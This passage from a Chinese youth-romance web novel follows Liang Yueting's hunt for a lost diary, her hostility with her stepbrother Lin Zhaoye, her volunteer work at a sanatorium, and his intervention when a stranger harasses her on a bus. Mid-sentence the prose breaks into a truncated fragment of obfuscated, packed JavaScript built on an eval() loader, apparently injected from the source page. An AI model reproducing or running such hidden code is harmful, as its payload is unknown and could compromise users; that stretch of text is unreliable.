但梁月听没领情,还是站在原地,平静道,“那你俩自己出来跟我说。” 是不是她俩的确都还存疑,但梁月听并不是那么好打发的人。 本来就只是问一句话的事儿,非折腾到这个地步,还支支吾吾,出言不善,非要从旁人口中得到解释,难免让人压着火。 吃土豆饼的胖子叫赵阳,这会儿也反应过来了,先是看了这俩人一眼,作警告状,然后抬头,很是不爽地护短道,“干嘛要人家给你解释?你怀疑人家,得你给出证据啊。” 说完这句,他又后知后觉地补了一句,“而且你谁啊!我在这儿活了十多年,怎么都没见过你呢?从哪儿冒出来的小……” 说到这儿,他仔细看了看梁月听,本来要骂人的话在嘴里转了一遭,硬生生咽了下去,顿了顿,声音降低了,嘟哝般,十分纳闷地接道, “……哪儿冒出来的小美女。” 梁月听扯了扯嘴角,顺着他的话反问道,“我谁啊?” 她甚至笑了一下,视线缓缓移动,落在坐着的人身上,点了点下巴,似笑非笑地开口。 “你要不问问他呗。” “我谁啊?” 声音轻飘飘的,听不出情绪。 但话音一落,气氛顿时又安静下来。 简坚和赵阳好像都倏然反应过来似的,对视几眼,面面相觑,不再出声。赵阳甚至把拿着土豆饼的手背到身后去,咽了咽口水,一脸心虚状。 谁知道这就是林照野家那个便宜妹妹啊! 这不开玩笑吗! 吃人嘴短,拿人手软,何况他刚刚还一边吃,一边吐槽这后妈呢! 他们不出声,两姐妹更不敢出声,缩在长椅背后,就是不讲话。 一时间,人人都眼观鼻鼻观心,或心虚不敢接话,或觉得没立场插入这段对话,只剩林照野无端被点名,顿了几秒,缓缓抬起头,对上她的视线。 两个人在一片沉默中,四目相对。 空气中似有无声的东西在沸腾。 一个是暗火,一个是散冰,碰撞在一起,擦出明显的火星。 好半晌,林照野低头,还在手机屏幕上点了几下,似乎在回消息,发完之后,才摁灭屏幕,随手把手机往旁边一放。 接着,他偏了偏头,言简意赅道,“出去。” 一开始,梁月听还以为他在跟她说话,蹙着眉,正想发火,却看到躲在他后面的两姐妹不敢反驳,撇着嘴站起来,慢吞吞地走到她视线里。 梁月听顿了两秒,一句话卡在嗓子眼里,停住了。 不知道他葫芦里卖的什么药。 反正总不可能是要帮她吧? 天塌下来了,这人大概都会立马表演一个匍匐前进,把身体压到最低,让她先死。 正想着,她看见林照野散漫往后一靠,脊背靠住椅背,看着她,“你问。” 神情依旧冷淡,声音低缓,吐字短促,看不出情绪。 梁月听眉头轻蹙,看着他,一时没动。 她依旧不觉得他会发什么善心,在这种阵营分化明显的时候,慷慨无私地站在中立位,做一个不护短,还明事理的人。 这些词跟他根本就不沾边。 何况她还没忘,那两个小屁孩到底是为什么偷偷冲她扔石头。 果然,没几秒,林照野又想起什么似的,慢吞吞补了一句,“要是她们没拿的话,你当众道歉就好了。” ……瞧瞧。 多么轻描淡写而又冠冕堂皇的话。 她根本从头到尾都没有说过“这两个人拿了她的东西”,追了一路,也只是想问个究竟,得到回答就行了,偏偏这个人端着一副主持公道的模样,不声不响地给她下了定论,还设定了结局。 “当众道歉”,是怎么个道歉法儿呢? 是在这里当着这几个人的面,还是在家属院门口,当着所有人的面呢? 语焉不详,模糊重点,含混不清。 这不明摆着给人下套呢吗。 梁月听都快被气笑了,轻嗤一声,懒得理他,移开视线,垂眼看着这俩小孩儿。 “你们没有拿过我东西,是吧?” “都说了没有!”两个人连摇头的动作都一模一样,声音响亮,回答得斩钉截铁,气势十足,还带着点愤愤不平。 情绪饱满,不似作伪。 赵阳嘟哝道:“这俩妹妹平时调皮是调皮了点,还有点讨人厌,但从来不撒谎。” 再看这两人,身高才到她胸口,但下巴扬得高高的,这会儿抬脸看她,一点都不怵,听到有人附和撑腰,还不动声色地挺了挺胸脯。 “行。”梁月听点点头,没管赵阳发出的嘘声,神情平静,换了个问法。 “那你们有没有看到过,有人动过我的东西?” 话音一落,理直气壮的神情倏然僵住。 气势汹汹挺起的胸膛缓慢往下塌了点,连肩膀都不再挺得板正,好几秒的迟疑过后,两个人对视一眼,没说话。 场面又安静下来。 梁月听只是垂眼看着她们,没有再出声。 但小孩子藏不住事,没有那么多弯弯绕绕的伪装,答案已经很明显了。 “什么意思?”简坚看情况出声,“你们看到有人拿了这个姐姐的东西吗?” 俩小孩儿不说话,撇开脑袋,心虚般看了眼林照野,似乎在等什么人把她们从困境中解救出来。 但那人还是没什么表情,跟看戏似的,半靠在椅背上,好整以暇的冷淡模样,没说话。 何星星和何月月又把脑袋撇过来,在漫长的沉默和梁月听的注视下,逐渐承受不住。 片刻后,两个人互看了几眼,眼一闭,心一横,嚷嚷着:“看见了又怎么样啊!又不关我们的事!” “我 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又是漫长的沉默,何星星低着头,往长椅那边飘去几眼,好半晌,才道,“认识是认识……” 声音小得像蚊子嘤咛,似乎在顾忌和思考着什么。 不知想到什么,何月月猛地攥住她手臂,截断话头,看着梁月听,抢道:“但我们是不会告诉你的!” 声音响亮,斩钉截铁,甚至比刚才否认罪行时还要坚定,梁月听略一挑眉,盯了她们几秒。 视线在两张脸上来回,确定这两人好像是真的铁了心的绝不会说,她才缓缓偏头,看向另一边。 简坚和赵阳早看戏看呆了,这会儿张着嘴,没话说。 林照野还是坐着,半搭不理的模样,见她望来,甚至扯了扯嘴角,笑了一声,“看我做什么?” 还是那种不达眼底的笑意,讥诮得一如既往。 他手肘轻微一撑,人慢吞吞地站起来,垂着眼,漫不经心吐字。 “人家不告诉你,难道我还能给你算个卦?” ……这话说的。 梁月听都快被气笑了。 真三两句话就把关系撇清了,要不是梁月听知道,这俩小孩儿是因为他才讨厌她,还找些东西让她不顺的,都快被他哄信了。 林照野大概半点儿也没觉得这借口拙劣,或是知道,却毫不在意,弯身松松拎着手机,回身对赵阳和简坚道,“走了。” 眼尾向下,一副兴致缺缺的模样,擦肩而过的时候,鼻息间萦绕着一股浅淡的柠檬香气。 大概是董淑和平日里最爱用的洗衣液香。 梁月听呼出一口沉沉的气,强行按下不快,转身快步跟上去,两步迈到他身边,“要怎么样才能告诉我?” “都说了不关我的事,我怎么知道。”林照野这会儿倒没吝啬对她说话了,只是轻飘飘地撇清了关系,好像真不知道他一句话就能让那俩小孩老实交代一样。 他个子高,腿长,轻松迈步,略微弯身从狭窄的入口处出去,梁月听要加快步伐才能跟得上。 她一边小幅度调整呼吸,一边缀在他身旁,真有点急了,蹙眉道,“她俩讨厌我是因为你,别说你不知道?” 闻言,林照野脚步微顿,撩起眼皮,居高临下地投来一眼。 不同于方才那种高高挂起的看戏姿态,不再悠闲和散漫,愿意好声好气地再搭理她两句,好像她那句话一出来,这人费了点力气伪装的平和面具,就都摧枯拉朽般,消失殆尽了。 “所以呢?” 他冷淡吐字。 梁月听一顿。 上午时分,雨后的太阳清澈明亮,明晃晃地挂在天边。林照野站在背光处,明朗锋利的五官稍暗,黑色碎发散在额前,一侧镀上浅浅光边,居高临下,却又异常锋利。 比她梦里的还要锋利。 “梁月听。” 他站定看她,喊她大名。 “你应该不傻吧?” 许是觉得太远了,林照野眯了眯眼,向下俯身,直勾勾地盯着她的眼睛,一字一句,轻声道,“既然你能感知到她们讨厌你,怎么就没有发现……” 说完这句,尾音渐轻,他略一偏头,脖颈交错,呼吸间带起的微弱气流移到耳边,低低的声音钻进耳道。 “最讨厌你的人……” “当然是我啊。” 7. 玻璃窗 07 两个人一前一后出去了,身影隐在狭窄入口外,剩下院子里几个人面面相觑。 “什么情况?” 入口外的强烈对峙和紧张氛围并没有蔓延到院子内,赵阳左看看右看看,没摸清状况,茫然地发问。 简坚就思路清晰得多,垂眼看着,接上方才没问出的问题,“为什么不告诉她啊?” “就是啊。”赵阳把最后一口土豆饼吃完,“你俩虽说有时候确实讨人烦,应该也不是什么拎不清的人吧?闭着眼睛都能看出来,那东西对她挺重要的。” 何星星一屁股坐到椅子上,撇着嘴道:“本来一开始确实是讨厌她啊,但也不可能会故意偷她东西的。” “那怎么回事?”简坚追问。 顿了好几秒,何月月才叹了口气,恹恹道,“……是张瘸子。” “什么?” “拿她东西的是张瘸子。” 此话一出,小院里几个人都静了。 常宁镇小是小,和睦也是真和睦,但人嘛,环境和阅历使然,什么样的人都会有。 张瘸子就是其中不太和睦的一个。 早年因为盗窃和抢劫进过好几次局子,最严重的一次是聚众斗殴,被判了寻衅滋事,进去蹲了好几年,腿也是在那次事故里弄伤的。出来之后有前科,工作找不到,出去打工也不现实,好在在这儿还有套破房子,也不知道每天用什么在谋生。 反正从来没有家长允许孩子靠近他住的那片,大路上见着都会绕道走。 “不是?张瘸子偷她个本子干啥啊?他也没到痴呆的年纪啊。”赵阳摸不着头脑,何星星和何月月都耸肩,表示不知道。 “但我们就是看见他拿了。” 又沉默良久。 “……是张瘸子的话,我也不敢提醒。”赵阳张了张嘴,“他面相好凶。” 简坚沉默了会儿,叹了口气,“看来她那东西是拿不回来了。” 何星星和何月月坐在长椅上,耸耸肩,“所以跟她说了也没用呀,万一她不知道张瘸子的厉害,还去找他怎么办?” 按梁月听那不声不响,但打定主意就要一条路走到黑的劲儿,这真的是有可能的事。 “嗯。”简坚摸摸她们脑袋,“想得还挺周到嘛,蛮不错的。” 何月月吐吐舌头,倏然想起什么似的,“哦对了,我真的觉得她人挺好的。昨天我们欺负她来着,她都没跟我们算账。” “是呀。”何星星点点头,“而且她长得好好看,跟仙女一样。” 过了两秒,她又撇嘴补充道,“就是冷冷的,不说话的时候看起来凶凶的,跟照野哥哥一样。” 简坚和赵阳对视一眼,不着痕迹地呼出一口气,避重就轻地劝道,“你照野哥哥不喜欢她,以后在他面前少提。” 小孩子好奇心重,噢了一声之后,还是没忍住,问为什么。 “你们怎么知道她妈妈破坏了别人的家庭?方阿姨和林叔叔不是离婚了吗?” “而且她妈妈的事情,跟她有什么关系呀?” 半大不小的孩子,懂了点道理,但想法还纯真,眨着眼仰脸看来,让人无法拒绝。简坚顿了片刻,移开视线,避重就轻道,“作业呢?拿出来写吧。” - 继林照野毫不掩饰地把“讨厌”两个字放到明面上来说之后,梁月听跟他就没什么交集了,就此风平浪静地过了一周。 虽说同住一个屋檐下,但上班的上班,出门的出门,都早出晚归,很难碰上。 梁月听不知道林照野从前是不是也这么不着家,但现在白天她在家的大多数时间里,他都不在。 最多不过就半夜出去上厕所的时候,碰见他回来。 两个人在漆黑的走廊上对望,沉默好几秒后,侧身各走各的路。棉质睡衣和黑色外套擦肩而过,仿佛风马牛不相及的遥远两端。 除此之外,别无他事。 梁月听也乐得清净。 但暑假在家总归无聊,何况这氛围陌生压抑,她确实也待不住。 “你别老每天在家窝着,有空出门去锻炼锻炼身体。”周日不上班,董淑和在家里打扫卫生,在她旁边躬身,一下又一下地拖着地,嘴里是些耳朵都听起茧的老生常谈。 “知道了。”梁月听摘下耳机,放下手里的书,“下次我房间不用你打扫。” “不用我打扫那你自己打扫啊,天天的又不动。”董淑和直起腰,不虞道,“刚跟你说话听见没?别一天把我说话当耳旁风……” “我说知道了。”梁月听把书往桌上一扔,书脊碰撞木质桌面,发出一声倒闷不脆的响,彰显了主人的情绪。她站起来,“而且我下周准备去疗养院做志愿,你就别操心了。” 董淑和愣了愣,“疗养院?常宁镇东边那个?” “对。” “怎么忽然想到去那儿做志愿?” 梁月听把那本书捡起来,塞进书柜里,“常宁中学的暑假作业,是你忘了还是我忘了?” “噢噢,对。”董淑和做恍然状,“是有要求半个月的社会实践,那地儿也是比较近的地方。挺不错的。” “开学之后你还是好好收心学习,虽说这里的教学资源比不上市里,但你自觉的话,问题应该不大的……” 董淑和还在身后絮叨些什么,梁月听全当耳旁风,左耳进右耳出,就当没听见,时不时嗯两声来敷衍,最后总算等到她把这卫生打扫完,出门去了。 门“砰”一声关上,梁月听呼出一口长长的气,向后仰倒在床上,放任思绪漫无目的地飘,从董淑和这么多年来都没有任何改变的控制欲,发展到从前因为这件事超过的无数次架,再到上升到家庭环境与人的性格。 梁月听思忖良久,下意识要去摸本子,想把刚才那点思考记录下来,却触到一片空时,才再度意识到。 她日记本丢了。 顿了好半晌,她呼进一口气,再沉沉地把胸腔内所有氧气都排空,不留一丝,来回几次后,才安静地拿上换洗衣服,去浴室洗澡。 - 疗养院处在常宁镇东,半山腰上,得坐公交车才方便到达。 梁月听出门前要路过一栋二单元,顺路上去敲了敲门,两姐妹也十分默契地给她开了门。 梁月听倚在门边,抬手扔给她俩两个雪糕,“今天还是不说?” 何星星和何月月摇头,“不说。” “那还给我。”梁月听伸手,作势要去把雪糕夺回来,两个人忙把包装拆了,一股脑儿将雪糕塞进嘴里,动作出奇地一致,生怕她抢走。 “……”梁月听无语,收回手,“噎不死你们。” 何星星被冰得牙疼,龇牙咧嘴地把雪糕拿出来,“你天天都来贿赂我们,但一天比一天敷衍了。” 经过这一周的相处,梁月听已经基本上能摸清这双胞胎了,何月月是姐姐,平时扎单马尾,沉静一些,何星星是妹妹,扎两个冲天炮,话最多。 这会儿何月月嘘她妹妹一声,“别乱说,万一她明天不来了怎么办。” “……”梁月听叹气,“你们是真当我听不见啊。” 她抱臂站直了身体,单手扣住门,作势要往里推,“走了。” “诶诶。”何月月用手扒拉住门,诧异道,“这就走了?” “那不然呢?” “你平时都会再努力一下的。” 梁月听已经尝试了一个星期了,头两天还威逼利诱,义正言辞讲道理,后几天都开始尝试贿赂了,在这俩人吃东西的时候旁敲侧击问一下,跟打听犯/罪画像一样,试图找出她日记本的踪迹。 但还是无果。 说得像努力就有结果一样,梁月听腹诽着。 “今天还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“住了三四年了吧,真的一次都没来过。后面这阿姨疯得越发严重,一犯病就喊着要见她儿子,那叫一个声嘶力竭……” “哎,现在的年轻人啊。” “……” 看热闹的人群听完都静默了,摇摇头,叹着气走了。 正值病房内几个护士把针管里的液体推进她血管,头发花白的女人半坐在床上,高举的手臂缓慢坠下,尖利的喊叫声逐渐平息,人群散去,像是一场黑白哑剧的散场,落寞到没有任何一个观众为此驻足。 人生嘛,各演各的戏,各走各的路。 对于别人的苦难,顶多在擦肩的时候叹息一声,就再没有别的了。 再兀自进入自己的水深火热,自顾不暇里。 人群散开后,只有单薄的少女还站在原地。 但梁月听也没有看着病房里逐渐进入平和状态的女人,而是微微偏头,视线落在另一侧。 走廊的另一边,朝南,正对着的房间房门半掩着,日光从玻璃窗外倾泻下来,光影晃动,映亮空气中漂浮着的尘埃,也映亮半蹲着那人的侧脸。 半蹲着,侧身对她,偏头垂颈,收起往日的冷淡和不屑,眼角眉梢都往下,硬生生在锋利的眉眼中看出些平静来。 他面前坐着位女人,半靠在轮椅上,面容苍白沉静,没有血色的嘴唇翕动,似乎在说话,少年听不清,靠近了些,漆黑的眼睫垂下,在光影中落下一个轻晃的影。 不知那女人说了多久,他一直都保持着同一个姿势,末了才往后略一回身,低低嗯了一声。 “知道了。” 少年起身抬眼的瞬间,视线漫无目的掠过,猝不及防,和梁月听对上。 动作都顿了片刻。 没有从前的剑拔弩张,只是微妙的错愕,几秒后,林照野没什么情绪地直起身,不着痕迹地挡住身后瘦弱的女人,迈步到门前。 那点刻意压下去的戾气,大约还没来得及冒出来,眼尾微微下垂,难得没有什么锋利的意味。 几步之隔,他看了她一眼。 平静,防备,警惕。 然后“砰一声”,他关上了门。 8.苏州河 08 后来的一整天,梁月听脑子里都在不受控制地想这件事。 ……林照野怎么会在这里? 难道他每天早出晚归的,不是在外面厮混,而是在这里? 那个女人又是谁? 林林总总,问题繁多,一会儿又冒出来一个。幸好她培训完了,带着志愿者的工作牌上岗,手上工作忙起来,才能勉强把脑子里的念想排空。 工作不算复杂,她本身就只是个临时工,带教姐姐只是带她熟悉一下环境,太复杂的工作也不愿意费时间教,于是她就只是打扫一下走廊,和跟外面散步的爷爷奶奶聊聊天。 转瞬就到了下班点。 社会实践没有工资,但可以免费蹭饭。梁月听倒是不缺这顿饭,只是不想太早回去,于是也跟着姐姐们去打饭。 从食堂出来的时候,已经快七点。 夏至一过,昼逐渐变短,天色擦黑。 “拜拜小梁,明天见。”姐姐们大多住疗养院里,不值班的就三三两两回家,挥手跟她道别。 “明天见。”梁月听也挥挥手,收拾了包,慢吞吞晃出大门。 她嘴里含着根棒棒糖,垂眼看手机里的新消息,刚一出门,抬眼一看,猝不及防被吓了一跳。 大门外石阶旁赫然还立着个人,夜色渐浓,晃眼只看得见漆黑模糊的影,身姿颀长挺拔,一声不吭,脊背挺直,脖颈微垂。 他手机屏幕还亮着,白光从下往上,奇迹般地没觉出光线死亡,反而映亮分明的脖颈线条。 既陌生又熟悉的轮廓。 梁月听站定:“……?” 那人闻声,抬眼看来,顿了一秒后,“咔嗒”一声摁下锁屏键,收起手机。 两个人静默地对视片刻。 气氛诡异。 时间一分一秒地流逝,却没有人动。 再不懂也很明显了。 林照野在等她。 梁月听沉默着,盯着他看了又看,面上没什么表情,心里却飘过无数个问号,心想这人没病吧。 一边想着,她跟看动物园里的猴子一样瞥了他一眼,继续往前走了。 林照野双手插兜,单腿重心支地,换了个方向,慢吞吞地跟在她后头。 梁月听走得慢,他也就把步伐放得更慢,她迈两步,他才迈一步,却总是缀在她后头,就这么到了公交车站。 车还没来,梁月听实在觉得氛围诡异,抱臂站在站台前,瞥他一眼,没忍住,扯着嘴角冷道: “有病?” 实在怪不得她说话这么冲。 这人前不久才给她甩脸,眼角眉梢都是冷意,极具压迫性地弯身凑在她耳边,说最讨厌她,梁月听可还没忘,也不敢忘。 这会儿又是闹哪样? 梁月听斜眼睨他,林照野竟然没什么反应,半张脸隐在昏黄路灯光影下,没开口,只是站着。 她也懒得再理,咬着棒棒糖转回头去,看公交车的车灯在蜿蜒的山路上由远及近。 投币上车,径自坐了后排靠窗位置,脊背往后一靠,抬眼看见林照野站在前面,靠后门的地方。 他个子高,此刻单手轻松勾住上方扶手,袖口略微下滑,抬起的小臂曲线流畅明显,单单立在那儿,就是一道会让少女春心动,忍不住多瞥几眼的风景线。 可惜梁月听没兴趣。 她收回视线,戴上耳机,从mp3里挑了首歌来听,转头看向窗外,就当公交车没有这个熟人。 天色已晚,窗外是浓墨般的黑,远处山林和镇上的灯火遥远而朦胧,有几分静谧的色彩。 疗养院为了地理位置和环境空气,选址在半山腰,到镇上有十个站的路程,约莫半小时,耳机里的歌一首接一首,思绪漫无目的地发散,时间过得很快。 到了山脚下的时候,车辆在站台前停住,车门打开,上来个男人,衣着普通,矮小黝黑,投币后打量了一下只有寥寥几人的车厢,径自往后走,在梁月听身旁停下。 身旁座位忽然有了人,梁月听收回视线,把自己垂落在两个座位中间的包往腿上放了放,抬眼扫过前面的许多空位置,顿了两秒,复又转头去看窗外。 到处都是座位,偏偏要坐她身边。梁月听有点疑惑,但也没有什么别的情绪,直到她的空间不断被压缩,双腿并拢,往窗边靠,膝盖已经快要抵到车的右壁。 她垂眼,眼看着男人双腿张得越来越开,几乎快是一个“一”字,蹙着眉,再度往里面挪了挪,整个人都快抵到车壁上。 夏天,还热着,她出门前随便抓了件白色短袖,配一条绀色百褶裙,长度到膝盖上方,此刻因为斜着坐,裙摆上滑,露出一截纤细白皙的大腿。 男人的腿又贴了过来。 人装作看手机,仿佛半点没注意身边的人,腿却跟合不拢似的,越分越开,右腿三番五次试图隔着一层黑色裤子贴住她的腿。 属于陌生男人的热度挨住皮肤的那一刹那,梁月听就生理性想吐,腾地一下站起来,动作之快速,神情之冷淡,这动静惊动了公交车上为数不多的几个人。 提着环保袋的阿姨,最后一排玩手机的年轻人,还有站在前面的林照野,都抬眼望来。 “麻烦让一下。”梁月听平静道,自上往下扫男人一眼,眼角眉梢都是冷淡,还带着点轻微的厌烦与不耐,疏离感极强。 男人顿了两秒,刚把视线从手机屏幕上移开的样子,很是不解道,“怎么了美女?” 梁月听没答,只是垂眼看着他,没有表情地俯视着。男人大约也是心虚,左右环视,尴尬地笑了两下,慢吞吞把身体转向,让她出去。 梁月听抓着座位前面的扶手,从他身前挤过去,几步迈下车后部的台阶,往前面走,坐到了离司机最近的横排位置上,重新塞上耳机。 动作干脆利落,神色冷而倨傲。车转弯时,昏黄的路灯灯光一闪而过,映亮她的侧脸。 她路过时带起的风似乎还在身边,长发不经意地擦过手臂,柔软而顺滑的触感在手臂皮肤上停留了几秒。 顿了片刻后,林照野收回视线,垂眼看窗外一闪而过的灯光。 男人在后排磨磨蹭蹭,一会儿大声拨打电话,一会儿将声音外放,吵吵嚷嚷,不得安宁。 “啊?什么?”又是一个电话,男人起身往前走,“我快到了,快到了。” 收了手机,他走到前方问司机,常宁路口站还有多久,司机答说还有三站。 “噢噢,记错了。”他自言自语似的,没有再回去,就近在前门扶手处站立,靠着栏杆,一条腿抖个不停,手机屏幕亮着,但视线却不停地往斜前方瞟。 又是一站路。 男人似是站累了,嘴里嘟哝着“怎么这么远啊”,回身走了两步,单腿踩上横排座椅的台阶,一晃一晃地试探,眼看着又要坐到梁月听身边—— 梁月听刚要起身摘耳机,耳边倏然掠过一阵风,一片黑色擦过视野,让人怔愣片刻,连带着想开口骂人的动作也停住,顿在原地。 方才还站在几步开外的人几不可察地啧了一声,微微仰头,长腿迈开,两步后,黑色球鞋踩上座椅台阶,擦过男人的皮鞋,又迅速移走,毫不拖泥带水,像带着一种不容忽视的蔑视,自然而又干脆利落地停在她身旁。 极淡的柠檬香气萦绕在鼻间,黑色T恤被体温熨得微暖,带着些微温度,从眼前擦过。 他膝盖屈起,脊背懒散地往后一靠,连排的座椅轻微共振,小幅度的晃动从梁月听的后背传来,缓慢又迟钝地向大脑发出信号—— 林照野坐在了她身旁。 梁月听缓慢地眨了眨眼,保持着嘴唇微张的状态,还有点懵。 方才想骂人的话,倏然不知道忘到哪里去了。 男人似乎是被林照野的动作撞了一下,被挤开半步,震惊片刻后,气急败坏道,“诶你这个人……” “怎么?” 林照野轻飘飘地出声打断。他好整以暇地坐着,偏头看他,神情极淡,声音也平静,坐着都能与矮小的男人平视,神色不变,不咸不淡地问。 “有事吗?” 声音低缓,落在空气里,让气氛沉默两秒。 男人欲言又止,打量他两眼,目光触及两人身高与体格的差异,张开的嘴又缓缓闭上了,好半晌门,才不情愿地将腿收回去,神色不虞。 正逢到站车门开,他嘴里嘟嘟囔囔,含混不清地骂着没礼貌的小兔崽子,下车去了。 直到车门再度关上,轻微晃动着向前,梁月听才缓慢地反应过来。 ……林照野这是在帮她解围? 可是,为什么? 思索半天,还是无果,她终于略微放松紧绷的身体,将脊背靠回椅背上。 车辆依旧在夜色中穿行,晃晃荡荡,路过万家灯火。耳机里是薛凯琪在唱《苏州河》,往日清晰的歌词却在此刻显得模糊,梁月听垂下眼。 属于另一个人的热意就在身旁,隔着不到一分米的距离。 裙摆下属于少女的腿,和黑色休闲裤包裹着、依旧能看出骨骼的腿 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林照野似乎若有似无地嗯了一声,不意外的模样。 他没有继续,于是这个话题就停在了这里。而后续竟然也再没有别的话了。 梁月听一路走在他后头,埋头踩着他随着路灯距离而不断变化的影子,一句“你刚才为什么帮我”卡在喉咙里,难得犹豫和纠结半晌,还是没有说出口。 这句话并不适合发生在他们之间。 少年人最要面子,最是缄默不言,最觉得先开口的那个人就是输家。 沉默着到了楼下。 正当梁月听以为今天这场奇怪的相遇到了尾声时,林照野忽地站定,停在单元楼下,略一仰头,侧身看她。 对视几秒后,他呼出一口气,低声道,“……别告诉他。” “……什么?” 十分没头没脑的一句话。 别告诉谁?别告诉什么事? 梁月听站在原地,懵了两秒,望着他倒映着夜色的瞳孔,倏然福至心灵般意识到,这句话才是今天整个相遇的目的。 少年背后是老旧的单元楼,窗户防护栏都生了锈,昏黄的灯光一户一户地亮起,晃动的人影从窗边一闪而过,还有轻微的说话声和咳嗽声,在夜色里窸窸窣窣的响起,仿佛人间烟火般的画卷。 梁月听视线往上,触及三楼亮着的窗户时,忽然就懂了他没头没脑的那句话。 “别告诉他。” 别把她今天看到的事告诉林海云。 可是……为什么? 三楼病房里女人孱弱的身影,半跪俯身的少年,还有阳光透过玻璃窗时,落在地上的剪影,连同白日里被压下去的众多疑问,又尽数浮上心头。 林照野站在那里,逆着万家灯火的光,整个人连同轮廓都被光影晕染着,神色平静,一如上午不经意瞥见的侧脸,安静地看着她。 他在等一个回答。 不知过了多久,梁月听才闭了闭眼,呼出一口气,几不可闻地嗯了一声。 一码归一码,就算是她对于今天晚上这件事的报答吧。 梁月听抬脚往前走,擦肩而过的时候,倏然想起了她那丢失的“贵重物品”,脚步一顿,顿时就想反悔。 她停在他身边,缓缓侧脸,眼也不眨地看着他。 林照野偏头:“?” “那你帮我找日记本。”梁月听说。 “……” 林照野垂眼看她,很轻地从鼻子里嗤了一声,移开视线,懒洋洋道,“上去做梦吧你。” 梁月听:“……” 切,就知道。 她嘁了一声,紧了紧背包带子,径自往楼梯上走了。 单元楼老旧,楼梯间的灯光还是声控,不太灵敏,梁月听摸黑走了几步,将要拐向另一个方向时,瞥见林照野还站在那个地方。 只是转了个向。 双手插兜,微微仰头,没什么表情地看着她。 那双眼睛盛满无边夜色,身上的锋利褪去,寂寥感似乎比无人的街道、被风吹落飘零的孤叶还浓。 ……该怎么形容那种感觉呢。 就好像觉得,他是一个没有归宿的人。 梁月听脚步一顿,站在原地良久,最后才移开视线,重重落下脚步。 “啪”一声,昏黄的灯光亮起,铺满整个楼梯间,在屋檐下隔开明暗的分界线,让她再看不清楼下的人。 9.夜班车 09 后来林照野多久上的楼,梁月听不知道。 反正她回家后经受了一顿董淑和的打听和林海云的寒暄,从疗养院环境、工作内容,再到感受与心情,都被问了个遍,还被质问为什么不回家吃饭,她压着脾气答完之后,才得以去洗澡。 从浴室出来之后,客厅已经一片漆黑,微微亮着的钟表指针指向零点,林照野还是没有回来。 梁月听擦着头发往卧室走,路过紧邻着的房间时,没忍住,从敞开的房门里投去一眼。 次卧,比她的小房间大很多,规整的四边形,家具简单,灰黑色调,收拾得干净整齐,甚至整洁到不像有人住。 书桌上空空如也,书本都规整地摆在书架上,笔规矩地收拾在笔筒里,衣柜门紧闭。月光从窗外落进来,照亮整齐到几乎没有褶皱的深黑色床单,让人感到一种酒店客房式的生冷和空荡。 梁月听顿了一秒,倏地想起踏上楼梯前的那一眼。 十七八岁的少年站在楼下,穿一身黑,寂静无声,几乎要融进夜色里。 也是如此一般的冷。 握着毛巾擦头发的手停了片刻,又忽地回神,复动了起来,将湿润的发尾包裹进柔软的毛巾,蹭动着,梁月听收回视线,抬脚进了自己的房间。 仅仅一瞥就够了。 他们的关系就只到这里了。 - 次日清晨,何家门口。 “你为什么这么没精神?”何星星拆开旺旺雪饼,咬了一口,鼓着腮帮子,疑惑地瞥她,“黑眼圈好重哦!” 何月月在吃仙贝,闻言瞥一眼,“是不是熬夜后起太早啦?” “不是放暑假吗?你起这么早干嘛?” “上班。”梁月听今天换了条黑色工装长裤,不嫌脏,直接一屁股坐在楼梯上,左手托着下巴,边打呵欠,边从兜里掏出最后一包零食。 “说不说?再不说以后我真不来了。” 两姐妹吃零食的手顿住,转着眼珠子,对视了一眼。 何月月:“不就一个本子吗?你干嘛这么在意,再买一个不就得了。” 梁月听打哈欠的动作倏然顿住,停留一秒之后,尽量装作若无其事地合上嘴,眨了眨眼,睁开了因困倦而眯起的双眼。 好像一瞬间就不困了。 “不一样。”好半晌,她才这么说道。 何星星眨眼:“有什么不一样的?不能买个一模一样的吗?” 梁月听坐在楼梯上,抬眼,看了她们一会儿,最后很轻地呼出一口气,起身,伸手拍了拍裤子上的灰,垂眼时,几不可闻地回答道, “没有一模一样的。” “啊?什么?”何月月没听清。 “没什么。”梁月听侧身看裤子干净了,转身下楼,脚步极快,背对着她们挥挥手。 “走了。” 照例是戴着耳机上公交车,到了地方就开始忙碌。今天有了新任务,在一楼档案室整理资料,把档案按序摆放。 档案室灯暗,书页扬起的灰尘也多,梁月听感觉眼睛都要因此近视了,还被灰尘呛得咳嗽不止时,档案室陈旧的防盗门被推开,走进个同样戴着志愿者工作牌的小姑娘。 面孔陌生,但清秀稚嫩,看起来应该同龄。 “你好,我叫方丹丹,是新来的志愿者。”她冲梁月听挥手,露出一个礼貌的微笑,还有点拘谨,不敢直视她,对视一眼后匆匆移开视线,盯着地面。 “你好。”梁月听说。 女孩儿在她身边蹲下来,自觉地分走一摞,好奇地找话题道:“你也是常宁中学的吗?” 梁月听顿了两秒,撕下一页纸给她做登记,“算是吧。” “算是是什么意思?” “……就是转学来的。” 方丹丹恍然大悟,“呀,那你是新同学呀?我开学高二,你哪个年级?说不定我们还可以做朋友呢。” 梁月听神情没什么变化,起身,把整理好的一摞放进柜子里,简短道,“高二。” 方丹丹也跟着她站起来,神情惊喜,“呀!那我们同年级呀!你学文学理?开学就文理分科,万一我们还分到一个班了呢!” “……” 一上午过去,档案室的八个柜子只整理了一半,方丹丹倒是快要把新学校的所有事情都告诉梁月听了,恨不得当场给她画个地图,用红笔标注出每一个厕所和可以翻墙出去的地方。 “噢噢对了,我们和高三不是一栋楼,高三整个年级都在最远离操场的那一栋……” 在去食堂吃饭的路上,方丹丹的嘴也没停过,好像脑子里有无穷的资料会冒出来,随时补充。 梁月听一边嗯两声,一边往外走,抬眼看了看前方的路,倏然顿了一下。 疗养院大楼和食堂不是同一栋楼,要下楼后路过大门前的一截路,才能到达。此刻梁月听望着两个从大门进来,正说着话往楼上走的身影,很轻地蹙了下眉。 “我们学校高二,也就是这届高三,有几个很出名的人。我给你说,事迹简直多到数不清……”方丹丹还在激情讲述,正欲继续,被梁月听插空打断。 “欸。”梁月听抬了抬下巴,“那两个人,是你们学校的吗?” “嗯?”方丹丹俯身眯眼看了看,“……好眼熟,是吧。” “好像跟我哥一个班的,我去给他送东西的时候见过几面。我想想……那个胖子叫赵阳,那个瘦子叫简坚,平时他们叫他尖尖儿,成绩很好。” 梁月听噢了一声,目送着他们上楼的背影。 方丹丹疑惑,“怎么了?你认识他们吗?” 